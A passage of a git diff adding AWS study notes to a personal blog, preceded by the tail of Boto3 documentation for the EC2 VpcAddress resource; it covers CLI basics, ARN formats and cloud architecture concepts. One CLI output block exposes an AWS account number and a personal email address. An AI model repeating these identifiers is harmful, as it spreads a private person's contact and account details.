+* _(string) --_ + + The carrier IP address associated. This option is only available for network interfaces which reside in a subnet in a Wavelength Zone (for example an EC2 instance). + + +customer_owned_ip + +* _(string) --_ + + The customer-owned IP address. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The ID of the customer-owned address pool. + + +domain + +* _(string) --_ + + Indicates whether this Elastic IP address is for use with instances in EC2-Classic (standard ) or instances in a VPC (vpc ). + + +instance_id + +* _(string) --_ + + The ID of the instance that the address is associated with (if any). + + +network_border_group + +* _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + +network_interface_id + +* _(string) --_ + + The ID of the network interface. + + +network_interface_owner_id + +* _(string) --_ + + The ID of the AWS account that owns the network interface. + + +private_ip_address + +* _(string) --_ + + The private IP address associated with the Elastic IP address. + + +public_ip + +* _(string) --_ + + The Elastic IP address. + + +public_ipv4_pool + +* _(string) --_ + + The ID of an address pool. + + +tags + +* _(list) --_ + + Any tags assigned to the Elastic IP address. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +association + +(NetworkInterfaceAssociation) The related association if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate(kwargs_) + +Associates an Elastic IP address, or carrier IP address (for instances that are in subnets in Wavelength Zones) with an instance or a network interface. Before you can use an Elastic IP address, you must allocate it to your account. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +[EC2-Classic, VPC in an EC2-VPC-only account] If the Elastic IP address is already associated with a different instance, it is disassociated from that instance and associated with the specified instance. If you associate an Elastic IP address with an instance that has an existing Elastic IP address, the existing address is disassociated from the instance, but remains allocated to your account. + +[VPC in an EC2-Classic account] If you don't specify a private IP address, the Elastic IP address is associated with the primary IP address. If the Elastic IP address is already associated with a different instance or a network interface, you get an error unless you allow reassociation. You cannot associate an Elastic IP address with an instance or network interface that has an existing Elastic IP address. + +[Subnets in Wavelength Zones] You can associate an IP address from the telecommunication carrier to the instance or network interface. + +You cannot associate an Elastic IP address with an interface in a different network border group. + +Warning + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error, and you may be charged for each time the Elastic IP address is remapped to the same instance. For more information, see the _Elastic IP Addresses_ section of [Amazon EC2 Pricing](https://aws.amazon.com/ec2/pricing/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateAddress) + +**Request Syntax** + +response = vpc_address.associate( + InstanceId='string', + PublicIp='string', + AllowReassociation=True|False, + DryRun=True|False, + NetworkInterfaceId='string', + PrivateIpAddress='string' +) + +Parameters + +* **InstanceId** (_string_) -- The ID of the instance. This is required for EC2-Classic. For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. The operation fails if you specify an instance ID unless exactly one network interface is attached. +* **PublicIp** (_string_) -- The Elastic IP address to associate with the instance. This is required for EC2-Classic. +* **AllowReassociation** (_boolean_) -- [EC2-VPC] For a VPC in an EC2-Classic account, specify true to allow an Elastic IP address that is already associated with an instance or network interface to be reassociated with the specified instance or network interface. Otherwise, the operation fails. In a VPC in an EC2-VPC-only account, reassociation is automatic, therefore you can specify false to ensure the operation fails if the Elastic IP address is already associated with another resource. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceId** (_string_) -- + + [EC2-VPC] The ID of the network interface. If the instance has more than one network interface, you must specify a network interface ID. + + For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. + +* **PrivateIpAddress** (_string_) -- [EC2-VPC] The primary or secondary private IP address to associate with the Elastic IP address. If no private IP address is specified, the Elastic IP address is associated with the primary private IP address. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AssociationId** _(string) --_ + + [EC2-VPC] The ID that represents the association of the Elastic IP address with an instance. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_address.load() + +Returns + +None + +release(kwargs_) + +Releases the specified Elastic IP address. + +[EC2-Classic, default VPC] Releasing an Elastic IP address automatically disassociates it from any instance that it's associated with. To disassociate an Elastic IP address without releasing it, use DisassociateAddress . + +[Nondefault VPC] You must use DisassociateAddress to disassociate the Elastic IP address before you can release it. Otherwise, Amazon EC2 returns an error (InvalidIPAddress.InUse ). + +After releasing an Elastic IP address, it is released to the IP address pool. Be sure to update your DNS records and any servers or devices that communicate with the address. If you attempt to release an Elastic IP address that you already released, you'll get an AuthFailure error if the address is already allocated to another AWS account. + +[EC2-VPC] After you release an Elastic IP address for use in a VPC, you might be able to recover it. For more information, see AllocateAddress . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReleaseAddress) + +**Request Syntax** + +response = vpc_address.release( + PublicIp='string', + NetworkBorderGroup='string', + DryRun=True|False +) + +Parameters + +* **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +* **NetworkBorderGroup** (_string_) -- + + The set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + If you provide an incorrect network border group, you will receive an InvalidAddress.NotFound error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + + Note + + You cannot use a network border group with EC2 Classic. If you attempt this operation on EC2 classic, you will receive an InvalidParameterCombination error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_address.reload() + +Returns + +None + +[EBS](ebs.html "previous chapter (use the left arrow)") + +[EC2InstanceConnect](ec2-instance-connect.html "next chapter (use the right arrow)") + +### Navigation + +* [index](../../genindex.html "General Index") +* [modules](../../py-modindex.html "Python Module Index") | +* [next](ec2-instance-connect.html "EC2InstanceConnect") | +* [previous](ebs.html "EBS") | +* [Boto3 Docs 1.16.47 documentation](../../index.html) » +* [Available services](index.html) » + +const shortbread = AWSCShortbread({ domain: ".amazonaws.com", }); shortbread.checkForCookieConsent(); [Privacy](https://aws.amazon.com/privacy) | [Site Terms](https://aws.amazon.com/terms) | [Cookie preferences](#) | © Copyright 2020, Amazon Web Services, Inc. Created using [Sphinx](https://sphinx.pocoo.org/). diff --git a/_posts/01Cloud/01AWS/2020-07-16-AWS-CLI.md b/_posts/01Cloud/01AWS/2020-07-16-AWS-CLI.md new file mode 100644 index 00000000000..65b87755ef1 --- /dev/null +++ b/_posts/01Cloud/01AWS/2020-07-16-AWS-CLI.md @@ -0,0 +1,91 @@ +--- +title: AWS - AWS CLI commands +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS] +tags: [AWS] +math: true +image: +--- + +# AWS CLI commands + +- [AWS CLI commands](#aws-cli-commands) + - [Using the AWS SDK for Python](#using-the-aws-sdk-for-python) + +--- + + +see the account number and your user ID: + +```bash +$ aws sts get-caller-identity +{ + "Account": "533078679665", + "UserId": "AROAXYHPXEBY7QBCBKPP2:user762073=lgraceye@hotmail.com", + "Arn": "arn:aws:sts::533078679665:assumed-role/voclabs/user762073=lg +raceye@hotmail.com" +} +``` + +have any EC2 instances running in the sandbox, running this command would provide information about them: + +```bash +$ aws ec2 describe-instances +{ + "Reservations": [] +} +``` + + +## Using the AWS SDK for Python + +The terminal also has Python 3 installed with the boto 3 library available. + +to run AWS Python SDK code +```bash +$ python3 +>>> import boto3 +>>> ec2 = boto3.client('ec2', region_name='us-east-1') +>>> ec2.describe_regions() +>>> exit() +$ +``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/2020-07-18-AmazonResourceNames-ARNs.md b/_posts/01Cloud/01AWS/2020-07-18-AmazonResourceNames-ARNs.md new file mode 100644 index 00000000000..788fdda9195 --- /dev/null +++ b/_posts/01Cloud/01AWS/2020-07-18-AmazonResourceNames-ARNs.md @@ -0,0 +1,85 @@ + +- [Amazon Resource Name (ARNs)](#amazon-resource-name-arns) + - [Format](#format) + + +# Amazon Resource Name (ARNs) + +Amazon Resource Names (ARNs) uniquely identify AWS resources. +- require an ARN when you need to specify a resource unambiguously 明白地 across all of AWS, such as in IAM policies, Amazon Relational Database Service (Amazon RDS) tags, and API calls. + +## Format +The following are the general formats for ARNs. +- The specific formats depend on the resource. +- the ARNs for some resources omit the Region, the account ID, or both the Region and the account ID. + +``` +arn:partition:service:region:account-id:resource-id +arn:partition:service:region:account-id:resource-type/resource-id +arn:partition:service:region:account-id:resource-type:resource-id +``` + +1. partition: + 1. The partition in which the resource is located. + 2. A partition is a group of AWS Regions. Each AWS account is scoped to one partition. + 3. the supported partitions: + 1. `aws` - AWS Regions + 2. `aws-cn` - AWS China Regions + 3. `aws-us-gov` - AWS GovCloud (US) Regions + +2. service + 1. The service namespace that identifies the AWS product. + 2. For example, `s3` for Amazon S3 resources. + +3. region + 1. The Region. + +> For example, `us-east-2` for US East (Ohio). + + +1. account-id + 1. The ID of the AWS account that owns the resource, without the hyphens. + 2. For example, `123456789012`. + +2. resource-id + 1. The resource identifier. + 2. This part of the ARN can be the name or ID of the resource or a resource path. + 3. For example, + 4. user/Bob for an IAM user + 5. instance/i-1234567890abcdef0 for an EC2 instance. + 6. Some resource identifiers include a parent resource (sub-resource-type/parent-resource/sub-resource) or a qualifier such as a version (resource-type:resource-name:qualifier). + +3. Paths in ARNs + 1. Resource ARNs can include a path. + 2. For example, in Amazon S3, the resource identifier is an object name that can include slashes (/) to form a path. + 3. Similarly, IAM user names and group names can include paths. + 4. Paths can include a wildcard character, namely an asterisk (*). + +> For example, if you are writing an IAM policy, you can specify all IAM users that have the path product_1234 using a wildcard as follows: +> +> arn:aws:iam::123456789012:`user/Development/product_1234/*` +> +> Similarly, you can specify `user/*` to mean all users or group/* to mean all groups, as in the following examples: +> +> "Resource":"arn:aws:iam::123456789012:user/*" +> "Resource":"arn:aws:iam::123456789012:group/*" +> +> You cannot use a wildcard to specify all users in the Principal element in a resource-based policy or a role trust policy. Groups are not supported as principals in any policy. +> +> The following example shows ARNs for an Amazon S3 bucket in which the resource name includes a path: +> +> arn:aws:s3:::my_corporate_bucket/* +> arn:aws:s3:::my_corporate_bucket/Development/* +> +> You cannot use a wildcard in the portion of the ARN that specifies the resource type, such as the term user in an IAM ARN. +> The following is not allowed: +> +> arn:aws:iam::123456789012:u* + + + +Resource ARNs +The documentation for AWS Identity and Access Management (IAM) lists the ARNs supported by each service for use in resource-level permissions. For more information, see Actions, Resources, and Condition Keys for AWS Services in the IAM User Guide. + + +. diff --git a/_posts/01Cloud/01AWS/2021-04-04-AWS.md b/_posts/01Cloud/01AWS/2021-04-04-AWS.md new file mode 100644 index 00000000000..53835a98b04 --- /dev/null +++ b/_posts/01Cloud/01AWS/2021-04-04-AWS.md @@ -0,0 +1,1686 @@ +--- +title: AWS +date: 2021-04-04 11:11:11 -0400 +categories: [01AWS] +tags: [AWS] +toc: true +image: +--- + +# Amazon Web Services + +- [Amazon Web Services](#amazon-web-services) + - [By feature](#by-feature) + - [Reservations](#reservations) + - [Backup](#backup) + - [Scaling](#scaling) + - [Charge](#charge) + - [AWS serviceless](#aws-serviceless) + - [AWS solutions](#aws-solutions) + - [Unmanaged services](#unmanaged-services) + - [Managed services](#managed-services) + - [Cloud deployment models](#cloud-deployment-models) + - [All in Cloud](#all-in-cloud) + - [Hybrid](#hybrid) + - [Private / on-premises](#private--on-premises) + - [Advantages of cloud computing](#advantages-of-cloud-computing) + - [lift and shift example](#lift-and-shift-example) + - [All in Cloud](#all-in-cloud-1) + - [Hybrid](#hybrid-1) + - [Traditional monolithic architectures](#traditional-monolithic-architectures) + - [microservices architecture](#microservices-architecture) + - [Serverless](#serverless) + - [Architectural Evolution](#architectural-evolution) + - [cloud architecture](#cloud-architecture) + - [WAF Well-Architected framework](#waf-well-architected-framework) + - [WAF pillars](#waf-pillars) + - [Operational excellence Pillar](#operational-excellence-pillar) + - [Anti-patterns](#anti-patterns) + - [support workload](#support-workload) + - [operational health](#operational-health) + - [Reliability Pillar](#reliability-pillar) + - [Example](#example) + - [Service access](#service-access) + - [the AWS Cloud Adoption Framework (AWS CAF)](#the-aws-cloud-adoption-framework-aws-caf) + - [shared responsibility model](#shared-responsibility-model) + +--- + +## By feature + + +![Screenshot 2023-10-01 at 20.41.09](https://i.imgur.com/zX5aFhZ.jpg) + + +### Reservations +- services can reserve include: EC2, ElastiCache, DynamoDB, RDS, and RedShift. + + +### Backup +- Amazon RDS + - Default automated backups, point in time recovery to any point within the retention period down to a second. + - full daily snapshot of data (during preferred backup window) and captures transaction logs (updates to DB Instance are made). + - data is stored on S3 and is equal to the size of the DB + +- Amazon LightSail Databases + - automatically backs up the database and allows point in time restore from the past 7 days using the database restore tool + +- EBS: + - Each EBS volume is automatically replicated within its Availability Zone + - back up data on EBS volumes to S3 by taking point-in-time snapshots. incremental backups + +- EC2: + - EC2 instances using EBS volumes can be backed up by creating a snapshot of the EBS volume. + + + +### Scaling + +- RDS + - can only scale up (compute and storage), `no decrease`, scale vertically, have downtime. + - push of a button. + - Automatic failover for Multi-AZ option: creates a replica in another AZ and synchronously replicates to it (DR only). IOPS storage + - enable Auto Scaling in AWS Management Console + +- DynamoDB + - default `automatic scaling` + - Application auto scaling, replicated across 3 AZs in a region. + - Push button scaling: can scale the DB at any time without downtime. + - Cross-region replication allows you to replicate across regions + +- Lambda: + - scales automatically. + - Continuous scaling. + +- S3: + - automatically scales to high request rates.  + - enables automatic, asynchronous copying of objects across Amazon S3 buckets + - can copy objects between different AWS Regions or in same Region. + - Cross-Region replication (CRR): different AWS Regions. + + + +### Charge + +- free to use + - Identity and Access Management (IAM) + - Virtual Private Cloud (VPC) + - Auto-Scaling + - Elastic Beanstalk + - CloudFormation +- Not free + - EC2, RDS, EBS, Route53, S3 + + +- RDS: + - Charge for: + - the type and size of database, the uptime, DB instance hours, Storage GB/month., I/O requests/month – for magnetic storage + - Provisioned IOPS/month – for RDS provisioned IOPS SSD + - Backup storage (DB backups and manual snapshots), any additional storage of backup (above the DB size) + - requests + - deployment type (e.g. you pay for multi AZ) + - data transfer outbound. Egress data transfer + - Price model + - On-Demand or Reserved instance pricing + + +- EC2: + - charged for + - uptime of the instance based on the family and type. + - EC2 instance on Linux 2 AMI is billed per second + - the amount of data provisioned + - pay for Amazon EBS on a per GB of provisioned storage basis. + +- Lambda: + - the compute time that use. + - Execution requests + - execution duration (when code is running). + + +- Amazon LightSail Databases + - affordable. billed on an on-demand hourly rate + - pay only for what use. + - fixed hourly price, up to the maximum monthly plan cost. + + +- EBS: + - charged + - the amount of data provisioned (not consumed) per month. + - can have empty within a volume and still pay for it. + - With provisioned IOPS volumes, also charged for the amount provision in IOPS + + +- S3: + - Charges: + - Storage. + - Requests. + - Storage management pricing. + - Data transfer pricing. Data egress + - Transfer acceleration. + - the standard storage class: per GB/month storage fee, and data transfer out of S3. + - `Standard-IA and One Zone-IA`: minimum capacity charge per object. + - `Standard-IA, One Zone-IA, and Glacier`: also have a retrieval fee. + - No fee for data into S3 under any storage class. + + + +### AWS serviceless +![Screenshot 2023-10-01 at 20.59.55](/assets/img/post/Screenshot%202023-10-01%20at%2020.59.55.png) + + +![Screenshot 2023-10-01 at 20.59.35](/assets/img/post/Screenshot%202023-10-01%20at%2020.59.35.png) + + +--- + +## AWS solutions + +AWS solutions typically fall into one of two categories: unmanaged or managed. + +![Screenshot 2023-10-01 at 21.10.54](/assets/img/post/Screenshot%202023-10-01%20at%2021.10.54.png) + +### Unmanaged services + +- provisioned in discrete portions as specified by the user. +- `require the user to manage` how the service responds to changes in load, errors, and situations where resources become unavailable. + +- When you run the own relational database, you are responsible for + - several administrative tasks (server maintenance and energy footprint, software, installation and patching, and database backups), + - ensuring high availability, + - planning for scalability, + - data security, + - and OS nstallation and patching. + +### Managed services + +- require the user to configure them. +- Managed services still require the user to configure them (for example, creating an Amazon S3 bucket and setting permissions for it); +- however, managed services typically require far less configuration. +- The benefit to using an unmanaged service is that to have more fine tuned control over how the solution handles changes in load, errors, and situations where resources become unavailable + +For instance +- launch a web server on an Amazon EC2 instance + - that web server will not scale to handle increased traffic load or replace unhealthy instances with healthy ones unless you specify it to use a scaling solution such as Auto Scaling, because Amazon EC2 is an "unmanaged" solution. +- have a static website hosting in a cloud based storage solution like Amazon S3 without a web server + - those features (scaling, fault tolerance, and availability) would be automatically handled internally by Amazon S3, because it is a managed solution. + +--- + +## Cloud deployment models + +3 main cloud deployment models +- represent the cloud environments that the applications can be deployed in + +### All in Cloud +- A cloud-based application is fully deployed in the cloud, and all parts of the application run in the cloud. +- Applications can either been created in the cloud or migrated from an existing infrastructure. +- Cloud-based applications can be built on low-level infrastructure pieces or they can use higher-level services that provide abstraction from the management, architecting, and scaling requirements of core infrastructure. + +### Hybrid +- A hybrid deployment is a way to connect infrastructure/applications between `cloud-based resources and existing resources not in cloud.` +- The most common method of hybrid deployment is between the cloud and existing on-premises infrastructure. +- This model enables an organization to `extend and grow the infrastructure into the cloud while connecting cloud resources to internal systems`. + +### Private / on-premises +- Deploying resources on-premises, +- using virtualization and resource management tools +- does not provide many of the benefits of cloud computing, it is sometimes sought for its ability to provide dedicated resources. +- In most cases, this deployment model is the same as legacy IT infrastructure, but it might also use application management and virtualization technologies to increase resource utilization. + +--- + +## Advantages of cloud computing + +![Screenshot 2023-10-01 at 21.20.41](/assets/img/post/Screenshot%202023-10-01%20at%2021.20.41.png) + +1. Trade `capital expense` for `variable expense`: + - **Capital expenses (capex)**: funds that a company uses to acquire, upgrade, and maintain physical assets such as property, industrial buildings, or equipment. + - **variable expense (oppex)**: expense that the person who bears the cost can easily alter or avoid. + - Maintenance is reduced + - Cost savings + +2. `Benefit from massive economies of scale`: + - a lower variable cost than you can get on the own. + - as AWS can achieve higher economies of scale, lower pay-as-you-go prices. + +3. `Stop guessing capacity`: + - Eliminate guessing infrastructure capacity needs. When you make a capacity decision before you deploy an application, expensive idle resources / limited capacity. With cloud computing, these problems go away. You can access as much or as little as you need, and scale up and down as required with only a few minutes’ notice. + - `Elasticity` 弹力 + - avoid over-provision resources up front to handle peak levels of activity + - scale resources up or down to instantly to grow and shrink capacity as the business needs change. + +4. `Increase speed and agility 敏捷`: + - new IT resources with a click, reduce the time to make those resources available. + - dramatic increase agility for the organization because the cost and time that it takes to experiment and develop are significantly lower. + - easy access to a broad range of technologies to innovate faster and build nearly anything. + - quickly spin up resources as needed from infrastructure services, such as compute, storage, and databases, to IoT, machine learning, data lakes and analytics... + - deploy technology services in minutes, and get from idea to implementation several orders of magnitude faster than before. + - the freedom to experiment, test new ideas to differentiate customer experiences, and transform the business. + +5. Stop spending money in `data centers`: + - Stop spending money on running and maintaining + - Focus on projects that differentiate the business instead of focusing on the infrastructure. + +6. Go `global in minutes`: + - deploy the application in multiple AWS Regions around the world with just a few clicks. + - provide a lower latency and better experience for the customers simply and at minimal cost. + - For example, + - AWS has infrastructure all over the world, so you can deploy the application in multiple physical locations with just a few clicks. + - Put applications closer to end users reduces latency and improves their experience. + + +other: + +- `Test systems at production scale`. + + - non-cloud environment, it is usually cost-prohibitive to create a duplicate environment solely for testing. Consequently, most test environments are not tested at live levels of production demand. + + - create a duplicate environment on demand, complete the testing, and then decommission the resources + + - only pay for the test environment when it is running + + +- `Automate` to make architectural experimentation easier. + + - create and replicate systems at low cost or with no manual effort. + + - track changes to automation, audit the impact, and revert to previous parameters when necessary. + +- `Allow for evolutionary architectures`. + + - the ability to automate and test on demand lowers the risk of impact from design changes + + - allows systems to evolve over time so that businesses can take advantage of new innovations as a standard practice + +- `Drive architectures using data`. + + - collect data on how architectural choices affect the behavior of workload, + + - make fact-based decisions on how to improve workload. + + - use that data to inform the architectural choices and improvements over time + +- improve through game days + + - test how well architecture and processes perform by regularly scheduling game days to simulate events in production. + + - understand where to make improvements, and help organization develop experience in dealing with events. + + + +--- + +## lift and shift example + +- rarely do the same parties easily agree on a common approach to the hundreds or thousands of existing applications that still reside in company data centers. + +- Teams responsible for effecting an enterprise’s transition to the cloud might initially find it easier to apply a one-size-fits-all approach and cut through devolving debates about risks and dependencies, but that approach could also jeopardize the trust and cooperation of the application owners they are asking to migrate. + +- Yet many enterprise cloud teams have been successful earning this trust and cooperation while also + +- delivering on aggressive timelines in so-called **“lift-and-shift” cloud migrations** + - move a specific set of applications to the cloud as fast as possible without changing their core architecture, functionality, or performance characteristics. + - This is no small challenge since some application development teams will have the opinion that their software will require substantial refactoring to run in the cloud, while others don’t want to bring their technical debt to a pristine new cloud environment. + - The fundamental notion of software refactoring is to change application code for the better. + +### All in Cloud + +![Screenshot 2023-10-01 at 21.36.35](/assets/img/post/Screenshot%202023-10-01%20at%2021.36.35.png) + +### Hybrid + +- `havincg data resides both on-premises and in the cloud` + +- This is often done to economically store large data sets, utilize new cloud-native databases, move data closer to customers, or to create a backup and archive solution with cost-effective high availability. + +- In all cases, AWS offers a range of storage and database services that can work together with the on-premises applications to store data reliably and securely. + +![Screenshot 2023-10-01 at 22.25.11](/assets/img/post/Screenshot%202023-10-01%20at%2022.25.11.png) + +![Screenshot 2023-10-01 at 22.25.45](/assets/img/post/Screenshot%202023-10-01%20at%2022.25.45.png) + +### Traditional monolithic architectures + +- hard to scale. + +- As an application's code base grows, it becomes complex to update and maintain. Introducing new features, languages, frameworks, and technologies becomes very hard, limiting innovation and new ideas. + + +### microservices architecture +- a design approach to build a single application as a set of small services. + +- `Each application component / service runs in its own process` and `communicates with other services through a well-defined API interface` (using a lightweight mechanism, typically an HTTP-based application programming interface (API). ) + +- Microservices are built around business capabilities + - each service performs a single function. + - use different frameworks / programming languages to write microservices and deploy them independently, as a single service, or as a group of services. + +- Microservices can be written using different frameworks and programming languages, and you can deploy them independently, as a single service, or as a group of services. + +- Microservices allow you to choose the best technology for the workload. + +- For example you might use in-memory cache such as Memcached or Redis for fast access to the data, but in another service you might be better served with a traditional relational database. Same goes for the chosen programming language and other technology choices: remaining flexible about them is both a benefit and a mandate. + +![Screenshot 2023-10-01 at 22.26.34](/assets/img/post/Screenshot%202023-10-01%20at%2022.26.34.png) + +**Agility** + +- foster an organization of small, independent teams that take ownership of their services. + +- `Teams act within a small and well understood context`, empowered to work more independently and more quickly. + +- This shortens development cycle times. + +- benefit significantly from the aggregate throughput of the organization. + +**Flexible scaling** + +- Microservices allow each service to be `independently scaled` to meet demand for the application feature it supports. + +- enables teams to right-size infrastructure needs, accurately measure the cost of a feature, and maintain availability if a service experiences a spike in demand. + +**Easy deployment** + +- Microservices `enable continuous integration and delivery`, easy to try new ideas and roll back if doesn’t work. + +- low cost of failure enables experimentation, easier to update code, and accelerates time-to-market for new features. + +**Technological freedom** + +- Microservices architectures don’t follow a “one size fits all” approach. + +- Teams have the `freedom to choose the best tool` to solve their specific problems. + +- teams building microservices can choose the best tool for each job. + +**Reusable code** + +- Dividing software into small, well-defined modules enables teams to use functions for multiple purposes. + +- A service written for a certain function can be used as a building block for another feature. + +- allows an application to bootstrap off itself, as developers can create new capabilities without writing code from scratch. + +**Resilience 弹回** + +- Service independence `increases an application’s resistance to failure` + +- In a monolithic architecture, if a single component fails, it can cause the entire application to fail. + +- With microservices, applications handle total service failure by degrading functionality and not crashing the entire application. + + +In order to replicate the business domain, integrate the services that have built + +- iterate faster but not `break functionality in the process`. + - The interface is crucial. You need to be considerate of other teams that depend on the product. + +- make the `API as simple as possible`. + - easier to maintain and change later. + - Because interfacing is so important, choosing a unified solution for all this inter-service communication to occur is tempting. + - Be careful to avoid integrating with smart, controlling, complex middleware which would force tighter coupling. + +- `treat the servers as stateless`. + - Servers should be seen as interchangeable members of a group. + - Focus on determining if you have enough capacity to handle the workload. + - Keep in mind that adding and removing instances with Auto Scaling is much easier with a stateless approach. + + + +### Serverless + +- most often refers to serverless applications. + +- don't require you to provision or manage any servers. + - responsibilities like operating system (OS) access control, OS patching, provisioning, right-sizing, scaling, and availability + - By building the application on a serverless platform, the platform manages these responsibilities for you. + +- You can focus on the core product and business logic + +![Screenshot 2023-10-01 at 22.28.57](/assets/img/post/Screenshot%202023-10-01%20at%2022.28.57.png) + + +--- + +## Architectural Evolution + +![Screenshot 2023-10-01 at 22.29.28](/assets/img/post/Screenshot%202023-10-01%20at%2022.29.28.png) + +![Screenshot 2023-10-01 at 22.29.42](/assets/img/post/Screenshot%202023-10-01%20at%2022.29.42.png) + +similarities between AWS and the traditional, on-premises IT space: + + +**web service** + +- is any piece of software that makes itself available over the internet or on private (intranet) networks. + +- uses a standardized format — such as Extensible Markup Language (XML) or JavaScript Object Notation (JSON)—for the request and the response of an application programming interface (API) interaction. It is not tied to any one operating system or programming language.It’s self-describing via an interface definition file and it is discoverable. + +**Amazon Web Services (AWS)** + +- a secure cloud platform that offers a broad set of global cloud-based products. + +- Because these products are delivered over the internet, you have on-demand access to the compute, storage, network, database, and other IT resources and the tools to manage them. You can immediately provision and launch AWS resources. The resources are ready for you to use in minutes. + +- AWS offers flexibility. the AWS environment can be reconfigured and updated on demand, scaled up or down automatically to meet usage patterns and optimize spending, or shut down temporarily or permanently. The billing for AWS services becomes an operational expense instead of a capital expense. + +- AWS services are designed to work together to support virtually any type of application or workload. Think of these services like building blocks, which you can assemble quickly to build sophisticated, scalable solutions, and then adjust them as the needs change. + + + +the main Amazon Web Services AWS service categories and core services + +![Screenshot 2023-10-01 at 22.30.21](/assets/img/post/Screenshot%202023-10-01%20at%2022.30.21.png) + +- Which service depend on business goals and technology requirements. + +- Amazon EC2: complete control over the AWS computing resources. + +- AWS Lambda: to run the code and not manage or provision servers. + +- AWS Elastic Beanstalk: a service that deploys, manages, and scales the web applications for you. + +- Amazon Lightsail: a lightweight cloud platform for a simple web application. + +- AWS Batch: need to run hundreds of thousands of batch workloads. + +- AWS Outposts: to run AWS infrastructure in the on-premises data center. + +- Amazon Elastic Container Service(Amazon ECS), Amazon Elastic Kubernetes Service(Amazon EKS), or AWS Fargate: to implement a containers or microservices architecture. + +- VMware Cloud on AWS: You have an on-premises server virtualization platform that you want to migrate to AWS. + + +For example + +- a database application + + - customers might be sending data to Amazon Elastic Compute Cloud (Amazon EC2) instances, a service in the compute category. + + - These EC2 servers batch the data in one-minute increments and add an object per customer to Amazon Simple Storage Service (Amazon S3), the AWS storage service you’ve chosen to use. + + - then use a non relational database like Amazon DynamoDB to power the application, for example, to build an index so that you can find all the objects for a given customer that were collected over a certain period. + + - You might run these services inside an Amazon Virtual Private Cloud (Amazon VPC), which is a service in the networking category. + +--- + +## cloud architecture + +Cloud architects: +- Engage with decision makers to identify the business goal and the capabilities that need improvement. +- Ensure alignment between technology deliverables of a solution and the business goals. +- Work with delivery teams that are implementing the solution to ensure that the technology features are appropriate. Having well-architected systems greatly increases the likelihood of business success. + +--- + +### WAF Well-Architected framework + +**AWS Well-Architected Framework** + +- a guide, designed to help build the most secure, high-performing, resilient, and efficient infrastructure for cloud applications and workloads. + +- provides a set of foundational questions and best practices to evaluate and implement cloud architectures. + +- AWS developed the Well-Architected Framework after reviewing thousands of customer architectures on AWS. + + +- increase awareness of architectural best practices + +- address foundational areas that are often neglected + +- evaluate architectures by using a consistent set of principles. + +- does not provide: + - Strict implementation details + - Architectural patterns + - Or relevant case studies + +- However, it does provide: + - Questions centered on critically understanding architectural decisions. + - Services and solutions that are relevant to each question. + - And references to relevant resources. + + +#### WAF pillars + +The AWS Well-Architected Framework is organized into five pillars: `operational excellence, security, reliability, performance efficiency, and cost optimization`. +- Each pillar includes a set of `design principles and best practice areas`. +- A set of foundational questions is under each best practice area. +- context and a list of best practices areprovided for each question + +the architecture of a fictitious company against the AWS Well-Architected Framework design principles for each of the pillars. + +![Screenshot 2023-10-01 at 23.12.41](/assets/img/post/Screenshot%202023-10-01%20at%2023.12.41.png) + +**Operational excellence** +- support development and run workloads effectively, gain insight into their operations +- delivers business value through `continuously improve supporting processes and procedures` +- Perform operations as code +- Annotate documentation +- Make frequent, small, reversible changes +- Refine operations procedures frequently +- Anticipate failure +- Learn from all operational failures + +**Security** +- `the ability to protect data, systems, and assets` to take advantage of cloud technologies to improve the security. +- delivers business value through `risk assessments` and `mitigation strategies`. +- Implement a strong identity foundation +- Enable traceability +- Apply security at all layers +- Automate security best 